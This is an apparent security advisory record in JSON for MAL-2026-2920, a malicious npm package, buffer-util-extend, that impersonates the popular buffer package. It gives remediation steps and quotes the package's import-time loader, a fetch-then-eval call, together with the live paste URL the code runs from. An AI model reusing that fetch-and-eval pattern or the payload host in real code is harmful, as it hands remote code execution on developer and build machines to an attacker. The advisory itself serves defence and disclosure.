{"answers":{"affected":"1 open source package ship an affected version, including buffer-util-extend.","exploited":"There is no known exploitation of MAL-2026-2920 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-2920 is a malicious package in buffer-util-extend, published on 14 Apr 2026."},"fix_prompt":"MAL-2026-2920 is a malicious package: buffer-util-extend (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-2920/ (Markdown: https://insights.sbomify.com/MAL-2026-2920/index.md)","id":"MAL-2026-2920","markdown":"https://insights.sbomify.com/MAL-2026-2920/index.md","name":"MAL-2026-2920","record":{"aliases":["GHSA-g44v-3gq3-j8p6"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's `content` field to `eval()` (index.js:46 stores the base64-encoded URL; index.js:59-65 performs `fetch(atob(...)).then(t=\u003et.json()).then(data =\u003e eval(data.content))`). Any consumer that `require`s this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used `buffer` package: it copies Feross Aboukhadijeh's authorship metadata, homepage `https://github.com/feross/buffer`, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (`axios`, `request`, `execp`) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\nThe OpenSSF Package Analysis project identified 'buffer-util-extend' @ 1.0.8 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in buffer-util-extend (npm)","id":"MAL-2026-2920","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"buffer-util-extend","purl":"pkg:npm/buffer-util-extend","source":"MAL-2026-2920"}],"products":null,"published":"2026-04-14","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-2920/"}